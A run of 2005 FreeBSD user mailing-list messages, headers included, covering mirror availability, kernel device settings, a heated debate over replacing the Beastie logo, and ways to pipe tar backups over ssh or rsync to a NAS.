Dagerot Message-ID: <20050210210222.GB94407@xor.obsecurity.org> References: <200502101514.j1AFEWtm031883@mail-core.space2u.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="vGgW1X5XWziG23Ko" Content-Disposition: inline In-Reply-To: <200502101514.j1AFEWtm031883@mail-core.space2u.com> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: Messed up my ports - "Can't find the `5.1-RELEASE' distribution on this FTP server." X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:02:23 -0000 --vGgW1X5XWziG23Ko Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Feb 10, 2005 at 04:14:32PM +0100, Joachim Dagerot wrote: >=20 > I have probably done something sometime on my 2 year+ server installation= that wrecked my port installation. >=20 > Whenever I try to install a port I get the "Can't find the `5.1-RELEASE' = distribution on this FTP server." the same goes with "sysinstall -> configu= re -> Distributions" I have tried multiple servers including the main. With= the same result. >=20 > I really don't know what to do. Any help is appreciated! The old 5.1-RELEASE is no longer carried on many mirrors because of space reasons. Look for another one with http://mirrorlist.freebsd.org. Kris --vGgW1X5XWziG23Ko Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCC8veWry0BWjoQKURAvzhAKDhCqzzGRSpuqHFZhegXwMjZPKkUgCbBmHT /xHiy7xNglkLX+fCBhAWsS8= =7sMl -----END PGP SIGNATURE----- --vGgW1X5XWziG23Ko-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:02:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0FAB216A4CE for ; Thu, 10 Feb 2005 21:02:59 +0000 (GMT) Received: from mirapoint1.tis.cwru.edu (mirapoint1.TIS.CWRU.Edu [129.22.104.46]) by mx1.FreeBSD.org (Postfix) with ESMTP id AA12443D39 for ; Thu, 10 Feb 2005 21:02:57 +0000 (GMT) (envelope-from ttt@cwru.edu) Received: from [129.22.151.155] (tagon.ENGINEERING.CWRU.Edu [129.22.151.155]) by mirapoint1.tis.cwru.edu (MOS 3.5.4-GR) with ESMTP id DXY84927 (AUTH ttt); Thu, 10 Feb 2005 16:02:51 -0500 (EST) Message-ID: <420BCBFC.9050509@cwru.edu> Date: Thu, 10 Feb 2005 16:02:52 -0500 From: Tom Trelvik User-Agent: Mozilla Thunderbird 1.0 (Macintosh/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <42093027.40208@cwru.edu> <420BC9E0.3000608@cwru.edu> In-Reply-To: <420BC9E0.3000608@cwru.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: groff/font/devX100 segfault in "make installworld" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:02:59 -0000 Bah, I knew I'd forget something ... Tom Trelvik wrote: {...} > So, my questions: {...} 5) Is there documentation I haven't found on how to go about diagnosing a problem such as this? I was very surprised my problem was not in the build stage, but the actual install stage, which made me wonder if it might be something as simple as a permission problem, but I have no idea where to look for what. Thanks again, Tom From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:06:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 66A5A16A4CE for ; Thu, 10 Feb 2005 21:06:17 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2EC0F43D45 for ; Thu, 10 Feb 2005 21:06:17 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 74F7951432; Thu, 10 Feb 2005 13:06:16 -0800 (PST) Date: Thu, 10 Feb 2005 13:06:16 -0800 From: Kris Kennaway To: St?phane Le Maure Message-ID: <20050210210616.GA99318@xor.obsecurity.org> References: <420A7A03.7090908@tiscali.fr> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="UlVJffcvxoiEqYs2" Content-Disposition: inline In-Reply-To: <420A7A03.7090908@tiscali.fr> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: disappearance of /dev/mem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:06:17 -0000 --UlVJffcvxoiEqYs2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 10:00:51PM +0100, St?phane Le Maure wrote: > Hello all >=20 > I have a big problem since the upgrade of 5.2 towards 5.3. > The file /dev/mem does not exist any more in /dev and thus all the=20 > programs using this file does not function any more. > There of another person is who has the concern. > Thank you very much for your assistance. Add 'device mem' to your kernel (you probably also want 'device io'). In general, read /usr/src/UPDATING whenever you update your system. Kris --UlVJffcvxoiEqYs2 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCC8zIWry0BWjoQKURAmU3AJ9hlkEaCNuGg5xrcCf6qjyogeEXoQCgloeY tNxJq9sgoF/+fTU0rfSmKZU= =9XDJ -----END PGP SIGNATURE----- --UlVJffcvxoiEqYs2-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:07:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2F44416A4CE for ; Thu, 10 Feb 2005 21:07:44 +0000 (GMT) Received: from mx1.velcom.com (mx1.velcom.com [209.67.60.32]) by mx1.FreeBSD.org (Postfix) with SMTP id 9326443D45 for ; Thu, 10 Feb 2005 21:07:43 +0000 (GMT) (envelope-from noc@velcom.com) Received: (qmail 45286 invoked from network); 10 Feb 2005 20:55:31 -0000 Received: from unknown (HELO windowscecd4f3) (209.67.60.240) by mx1.velcom.com with SMTP; 10 Feb 2005 20:55:31 -0000 Message-ID: <000501c50fb4$443c9c80$f03c43d1@windowscecd4f3> From: To: Date: Thu, 10 Feb 2005 16:05:35 -0500 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: How to Reset a Forgotten Root Password X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:07:44 -0000 thx From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:17:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6FAEC16A4CF for ; Thu, 10 Feb 2005 21:17:10 +0000 (GMT) Received: from smtp1.server.rpi.edu (smtp1.server.rpi.edu [128.113.2.1]) by mx1.FreeBSD.org (Postfix) with ESMTP id EA37743D39 for ; Thu, 10 Feb 2005 21:17:09 +0000 (GMT) (envelope-from gad@FreeBSD.org) Received: from [128.113.24.47] (gilead.netel.rpi.edu [128.113.24.47]) by smtp1.server.rpi.edu (8.13.0/8.13.0) with ESMTP id j1ALH7cX011264; Thu, 10 Feb 2005 16:17:08 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: References: Date: Thu, 10 Feb 2005 16:17:06 -0500 To: "Ted Mittelstaedt" From: Garance A Drosehn Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-CanItPRO-Stream: default X-RPI-SA-Score: undef - spam-scanning disabled X-Scanned-By: CanIt (www . canit . ca) cc: freebsd-questions@FreeBSD.org Subject: RE: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:17:10 -0000 At 12:50 AM -0800 2/10/05, Ted Mittelstaedt wrote: > >> It is clear from >> reading both lists that much of the anger is based upon false >> assumptions, misinformation and incomplete editing of the leaked >> document. >> > >Sorry, but that is false. > >Much of the anger is based on Robert Watson (and whatever other >core members are arguing with him over this) not IMMEDIATELY >becoming completely forthright with the FreeBSD community as >soon as the leak occurred. Geez. Get real. One committer had *just* put up the site, and then other committers were given a chance to look it over and see if it all made sense. We wanted to given all committers a chance to cross-check it, and make sure we didn't forget to say anything important. What is up there right now is nothing more than a first draft. As far as I know, Robert responded on the same day that I found out that this rough-draft site had been mentioned in public. It's not like we've had six months of denials, with press-reporters hounding Robert every night on the evening news. Perhaps it was announced on slashdot a few days earlier, but frankly, I (for one) never read slashdot. That is not any conspiracy, it is simply that I don't have the time. I (for one) did not know the contest's web site was leaked until the article showed up at the bsdnews.com site. BSDnews. I work on BSD operating systems, so that's the web site that I read. >I am deeply concerned with what I see going on here. Since when >has the FreeBSD Project had "secret" information of a sales and >marketing nature? This is a brand new one to me. What a crazy thing to say. The whole purpose of this web site was to announce a PUBLIC CONTEST for ANYONE to submit their ideas for a possible new logo. Once we DID announce it, the public would have had 1-3 months to hash out whatever they wanted to hash out. (One of the reasons we had not already announced this web site is that we were still deciding how long that period should be. It started as one month, but I think now we're thinking maybe two or two-and-a-half months). >I can condone secrets in the area of leaglities - such as back in >the bad old days when UCB was sued by USL, there were many secrets, >a few that I and some others were able to ferret out but still >many buried, and still some people under gag orders. Man, you must see a lot of black helicopters every day you walk to work. It is not a "deep dark secret" to proof-read a web site before ANNOUNCING TO EVERYONE that they might WIN MONEY(!!) by reading that web site. Geez. I proof-read this message before I post it, and I'm only replying to comments from one moron with black helicopters flying out of his ass. How much more time should be spent proof- reading a public site which we intend to point everyone at? >Yes I understand that some commercial consultants and such have had >problems due to the logo being a devil image. But if Robert Watson >had wanted to respond to this then he should have brought it up >for discussion with the userbase immediately, not sneaked around >talking to his cronies at Apple Computer, trying to figure out how >to push this off onto the userbase in a way that people wouldn't >object to doing so. It is apparent that you are not interested in any facts, but Robert was not one of the main promoters of this idea. In fact, I don't remember him saying much of anything about it at the time we (FreeBSD committers) were debating it. >This logo competition is childish - 99% of the >FreeBSD community members are not graphic artists and couldn't draw >their way out of a paper bag - such a competition does not have as >it's goal that of obtaining an image, it's only goal is assuaging >pissed off people by pretending that they have a hand in the decision. More black helicopters. Geez. I expect all the submissions will be public, and then we (the committers) will pick the one we like the best. It is unquestionably true that I (for one) have no artistic talent. However, that does not mean that I can not possibly know anyone who makes a full-time living as a well-paid graphic artist. Nope. That simply must not be possible, even though RPI offers a degree in "Electronic Arts". And therefore it absolutely *must* be true that this contest will come up with a hand-drawn stick-figure logo. And it *must* be true that we've already picked that pathetic logo, and we're just announcing this contest as a cover story. Yep. It must be true. Ted says so. What a stupid position to take. [aside: a few years ago I paid one of my friends to draw up an idea I had for a logo, using malamutes, but we never did come up with something that we were really happy with. So nothing became of that. But he has drawn up other very nice things for me. So just because I cannot draw, does not mean I cannot find anyone to draw for me...] You might remember that the bsdnews.com site used to have a very nicely drawn cartoon strip. Extremely well drawn, IMO. It is a pity that you apparently don't get out enough to meet other people, but some of us do know people who are very artistic. Some of them even (*gasp*) USE FreeBSD. Maybe those users can't write a program, but they might like to contribute *THEIR* talents to the project. What would be wrong with that? -- Garance Alistair Drosehn = gad@gilead.netel.rpi.edu Senior Systems Programmer or gad@FreeBSD.org Rensselaer Polytechnic Institute; Troy, NY; USA From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:17:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 75D7816A4D4 for ; Thu, 10 Feb 2005 21:17:16 +0000 (GMT) Received: from smtp3.server.rpi.edu (smtp3.server.rpi.edu [128.113.2.3]) by mx1.FreeBSD.org (Postfix) with ESMTP id 08F0543D4C for ; Thu, 10 Feb 2005 21:17:16 +0000 (GMT) (envelope-from gad@FreeBSD.org) Received: from [128.113.24.47] (gilead.netel.rpi.edu [128.113.24.47]) by smtp3.server.rpi.edu (8.13.0/8.13.0) with ESMTP id j1ALHED5021616; Thu, 10 Feb 2005 16:17:14 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: References: Date: Thu, 10 Feb 2005 16:17:13 -0500 To: "Ted Mittelstaedt" , freebsd-questions@FreeBSD.org From: Garance A Drosehn Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-CanItPRO-Stream: default X-RPI-SA-Score: undef - spam-scanning disabled X-Scanned-By: CanIt (www . canit . ca) Subject: RE: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:17:16 -0000 At 12:50 AM -0800 2/10/05, Ted Mittelstaedt wrote: >No, sorry. The core team apparently feels that the way to do things >now is to made decisions of this nature first, then have discussion >later, rather than the reverse which previously has been the case. This contest came out because the developers who actually work on freebsd had a very energetic debate on the topic. Core stepped in before we started throwing pies at each other, and came up with this idea: *Keep* Beastie as the official mascot, but then have a **** ----> PUBLIC CONTEST <---- **** open to **** ----> EVERYONE <---- **** to see if we might also come up with some alternate logo. >However, as the core team as apparently represented by R Watson >has stated they want to consider this internally first, then >just tell the userbase what they are going to do later on, I >say screw you, and I'll argue and fight against this topic for >years. How silly. "Internally" means "among all the committers who spend their time, effort, and money making commits to the FreeBSD project". It does not mean "Robert Watson talked to his navel, and they agreed on this course of action". The actual developers. The people you pretend to respect, unless anyone one of them has a single idea which might disagree with you. While you seem determined to pretend that Robert Watson is somehow the sole person interested in this, let me note I am one of the FreeBSD committers who would like to see some new ideas for a logo. Now if nothing particularly special comes from this contest, then fine, at least we *tried*. But apparently you think we're not even supposed to try. Why would I like some other logo? Because in addition to committing the occasional patch to FreeBSD (totalling some 500+ commits), I do public presentations to groups of non-FreeBSD'ers about FreeBSD. I am trying to promote FreeBSD -- THE OPERATING SYSTEM -- and I am tired of spending my time explaining some cartoon character. I am in this project because of the quality of the operating system, and NOT because I have some deranged need to defend some "in joke" about daemons. As I said on the committers mailing list when we were debating this topic: The beastie icon does *not* separate "close-minded" people from "open-minded" people. It does *not* separate the "religious" people from "non-religious" people. It does not even separate "Christian" people from "non-Christian" people. The only thing that logo does is separate "People who already know Unix" from "People who have never heard of a daemon process". It is nothing more than an "in joke", where we can feel smug about how "smart" we are when some poor goober is stupid enough to ask "So why do you use some cute-looking demon for your icon?". When I have done public presentations for FreeBSD, I have never had anyone reject FreeBSD because of the deamon. Not once. And if I am talking to a group of Unix-people, I don't even have to explain the beastie icon. On the other hand, I do sometimes get people who have no experience with Unix. And those people will look at me like I am still some kid trying to defend the Major Matt Mason as being an "action figure" instead of a doll. Their attitude is "Okay -- so unix has these things called a 'daemon process' -- but I still don't get why is it so important that your icon must be this cartoon". They would have the exact same attitude if we happened to call those processes 'a buzz process', and then made our icon be Buzz Lightyear. The "religious connotation" is not relevant, because most the people I talk to are simply not all that religious. And yet they still look at me like I am nuts when I am explaining the logo, and I see no reason I should continue to waste my time giving people a lesson in the history of the word 'daemon'. I am a programmer, not a teacher of linguistics or word-history. -- Garance Alistair Drosehn = gad@gilead.netel.rpi.edu Senior Systems Programmer or gad@FreeBSD.org Rensselaer Polytechnic Institute; Troy, NY; USA From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:18:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7545016A4CE for ; Thu, 10 Feb 2005 21:18:16 +0000 (GMT) Received: from unsane.co.uk (unsane.co.uk [62.140.220.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9D1F043D1F for ; Thu, 10 Feb 2005 21:18:15 +0000 (GMT) (envelope-from jhary@unsane.co.uk) Received: from unsane.co.uk (localhost [127.0.0.1]) by unsane.co.uk (8.13.3/8.13.3) with ESMTP id j1ALIO4J012678 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 10 Feb 2005 21:18:25 GMT (envelope-from jhary@unsane.co.uk) Received: from localhost (jhary@localhost) by unsane.co.uk (8.13.3/8.13.3/Submit) with ESMTP id j1ALIOAP012675; Thu, 10 Feb 2005 21:18:24 GMT (envelope-from jhary@unsane.co.uk) Date: Thu, 10 Feb 2005 21:18:24 +0000 (GMT) From: Vince Hoffman To: Gregor Mosheh In-Reply-To: <20050210203804.78804.qmail@web53802.mail.yahoo.com> Message-ID: <20050210210100.G11751@unsane.co.uk> References: <20050210203804.78804.qmail@web53802.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed cc: freebsd-questions@freebsd.org Subject: Re: Secure file transfers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:18:16 -0000 On Thu, 10 Feb 2005, Gregor Mosheh wrote: > > I had a similar, perhaps related question. I'm making > backups via tar to a SMB server, but I would rather > use sftp/scp for it (the NAS supports both SMB and > scp/sftp). > > I don't have enough disk space to make the backup to a > tarchive and then scp that tarchive. Is there a way to > make scp/sftp read from a pipe or stdin, rather than > specific filenames? The docs haven't mentioned it, but > since the subject came up I thought it worth asking... > Hmm the other way round is easy enough, scp jhary@10.0.0.10:foo.tar.gz /dev/stdout | tar -ztf - and either way with full ssh tar -zcf - * |ssh jhary@10.0.0.10 "cat > foo.tar.gz" cat foo.tar.gz |ssh jhary:10.0.0.1 "tar -zxf -" I hope some of this might help as i cant think of a way to do as you want. Vince > > --- Anthony Atkielski > wrote: > >> Danie Du Toit writes: >> >>> Which packages are available to upload /download >> large dumpfiles in a >>> secure fashion (e.g. using SSL). The customer >> should not need any >>> secure client installed on his PC. >> >> Anything that is secure will require appropriate >> software at both ends >> of the transfer, and thus will require some sort of >> security-aware >> client on the customer's PC. >> >> SFTP provides secure file transfers. I use SecureFX >> on my client >> machine, and the standard SFTP server on the FreeBSD >> server. >> >> -- >> Anthony >> >> >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> > http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to >> "freebsd-questions-unsubscribe@freebsd.org" >> > > > > > __________________________________ > Do you Yahoo!? > Read only the mail you want - Yahoo! Mail SpamGuard. > http://promotions.yahoo.com/new_mail > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:18:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C160916A4D3 for ; Thu, 10 Feb 2005 21:18:48 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2A99B43D1D for ; Thu, 10 Feb 2005 21:18:48 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [192.168.0.32] (charm.daemonsecurity.com [192.168.0.32]) by top.daemonsecurity.com (Postfix) with ESMTP id 90FD2FD01F; Thu, 10 Feb 2005 22:18:46 +0100 (CET) Message-ID: <420BCFB4.9010803@locolomo.org> Date: Thu, 10 Feb 2005 22:18:44 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Gregor Mosheh References: <20050210203804.78804.qmail@web53802.mail.yahoo.com> In-Reply-To: <20050210203804.78804.qmail@web53802.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Secure file transfers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:18:48 -0000 Gregor Mosheh wrote: > I had a similar, perhaps related question. I'm making > backups via tar to a SMB server, but I would rather > use sftp/scp for it (the NAS supports both SMB and > scp/sftp). > > I don't have enough disk space to make the backup to a > tarchive and then scp that tarchive. Is there a way to > make scp/sftp read from a pipe or stdin, rather than > specific filenames? The docs haven't mentioned it, but > since the subject came up I thought it worth asking... You can tunnel rsync through ssh, this way you only transfer changes, you transfer changes in a secure fassion, and you don't need diskspace to create a backup file that is then transfered, I use: /usr/local/bin/rsync -Cuvaz --rsh="ssh" /path/to/src/ \ @:/path/to/dst The only, but really anoying, problem about rsync is that /path/to/src/ is not treated as /path/to/src - the above does what you expect: mirror all in src to dst. So, while you try figuring out the /'s rsync to an empty dir, then you can easily delete. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:29:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0998016A4CE for ; Thu, 10 Feb 2005 21:29:27 +0000 (GMT) Received: from smtp2.server.rpi.edu (smtp2.server.rpi.edu [128.113.2.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 546B043D1D for ; Thu, 10 Feb 2005 21:29:26 +0000 (GMT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.netel.rpi.edu [128.113.24.47]) by smtp2.server.rpi.edu (8.13.0/8.13.0) with ESMTP id j1ALTNEM031719; Thu, 10 Feb 2005 16:29:24 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <535601999.20050210213743@wanadoo.fr> References: <200502091349.00708.algould@datawok.com> <1709665858.20050210101217@wanadoo.fr> <20050210114338.B30327@one.thequestion.net> <299713472.20050210210055@wanadoo.fr> <1108067044.658.12.camel@hatter.wonderland.dn> <535601999.20050210213743@wanadoo.fr> Date: Thu, 10 Feb 2005 16:29:23 -0500 To: freebsd-questions@freebsd.org From: Garance A Drosihn Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-CanItPRO-Stream: default X-RPI-SA-Score: undef - spam-scanning disabled X-Scanned-By: CanIt (www . canit . ca) cc: Anthony Atkielski Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:29:27 -0000 At 9:37 PM +0100 2/10/05, Anthony Atkielski wrote: >Julio Capote writes: > > > Untrue, I know a NUMBER of emerging graphic artists, who would > > kill for this kind of exposure, and are much better than any > > commercialized firm I've seen. > >If they are so good, why would they kill for this kind of exposure? You've never heard of a startup firm? Perhaps a startup made of recent college graduates? They might not "kill" for the chance, but if they do have some spare time they might find this an attractive project to spend some time on. >The world of commercial art is no exception to the rule that you >get what you pay for. Uh, the same could be said for programming. So why are you using an open-source operating system which is largely supported by people who are NOT paid to work on it? And who give it away for Free? >Good graphic art is worth paying for; for a >price of zero dollars, you'll get zero quality. Exceptions are >very, very rare, and cannot be depended on. And an amateurish >logo would be quite a liability. Technically this is not for zero dollars. There is a monetary prize involved for the winner, as well as the exposure. And even if the project does not pick your logo, I believe your logo will still be seen by others, and someone *else* might think "Hey, that person has some talent!" Listen, if all we come up with is crappy logo submissions, then we won't actually switch to any new logo. We're just trying to see what people *can* come up with, and maybe reward them a little bit for making the effort. -- Garance Alistair Drosehn = gad@gilead.netel.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:31:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 38E6416A4CE for ; Thu, 10 Feb 2005 21:31:33 +0000 (GMT) Received: from pimout4-ext.prodigy.net (pimout4-ext.prodigy.net [207.115.63.98]) by mx1.FreeBSD.org (Postfix) with ESMTP id AAFDB43D2F for ; Thu, 10 Feb 2005 21:31:32 +0000 (GMT) (envelope-from stormspotter@6Texans.net) Received: from jacob.6texans.net (adsl-64-109-19-133.dsl.rcfril.ameritech.net [64.109.19.133])j1ALVUHb189560 for ; Thu, 10 Feb 2005 16:31:31 -0500 Date: Thu, 10 Feb 2005 15:31:30 -0600 From: Jacob S To: freebsd-questions@freebsd.org Message-ID: <20050210153130.68c6a6b9@jacob.6texans.net> In-Reply-To: <1531112695.20050210212532@wanadoo.fr> References: <200502092223.01650.algould@datawok.com> <20050210155900.GD89175@keyslapper.net> <1531112695.20050210212532@wanadoo.fr> X-Mailer: Sylpheed-Claws 0.9.13 (GTK+ 1.2.10; i386-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:31:33 -0000 On Thu, 10 Feb 2005 21:25:32 +0100 Anthony Atkielski wrote: > Louis LeBlanc writes: > > > Neutrality is purely objective in this case (and many others). > > Uninformed neutrality can be highly inflammatory. Beastie is only > > considered inflammatory to those uninformed fundamentalists who > > haven't been satisfied beating down every other freedom in this > > country and need someone or something else to pick on. > > They are potential customers. One of them is even President. Oh, please! Could we stop using stereotypes and putting down this or that "group" of people? When discussing politics and religion with friends, I usually consider myself a little to the "right" of the President, yet I'm still using FreeBSD. Maybe 'beastie' will turn away some potential users, and maybe it's not "politically correct", and maybe it's not the optimal "business image". But please stop saying this is all because of some "wacko Bible thumpers" that don't like daemons. All of the Christians I know are smart enough to recognize the difference between a "demon" and a Disk And Executive MONitor[1]. [1] http://www.web-friend.com/help/lingo/jargon.html#D > > I'm afraid I don't care for it. > > It's just an example. And a very poor example, IMHO. Can you give any proof that it's a valid example to say that Christians object to the use of the acronym "daemon" in Unix-like operating systems? I have not been able to find any proof on this list, the 19 Linux e-mail lists I am on, or the 2 or 3 computer/programming forums I occasionally visit. Note: This e-mail is not intended to argue either in favor of or against the "Beastie" mascot/logo, nor should it be construed in such a way. Jacob From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:32:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 60F5F16A4CE for ; Thu, 10 Feb 2005 21:32:36 +0000 (GMT) Received: from mail.scls.lib.wi.us (mail.scls.lib.wi.us [198.150.40.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0021743D1D for ; Thu, 10 Feb 2005 21:32:35 +0000 (GMT) (envelope-from nalists@scls.lib.wi.us) Received: from [172.26.2.238] ([172.26.2.238]) by mail.scls.lib.wi.us (8.12.9p2/8.12.9) with ESMTP id j1ALWZtB004413 for ; Thu, 10 Feb 2005 15:32:35 -0600 (CST) (envelope-from nalists@scls.lib.wi.us) Message-ID: <420BD2D4.8080601@scls.lib.wi.us> Date: Thu, 10 Feb 2005 15:32:04 -0600 From: Greg Barniskis User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <200502091349.00708.algould@datawok.com> <1054192109.20050210101652@wanadoo.fr> <420B6081.30206@pacific.net.sg> <1108044195.5517.74.camel@localhost.localdomain> <20050210163630.GF89175@keyslapper.net> <752761759.20050210212728@wanadoo.fr> In-Reply-To: <752761759.20050210212728@wanadoo.fr> Content-Type: 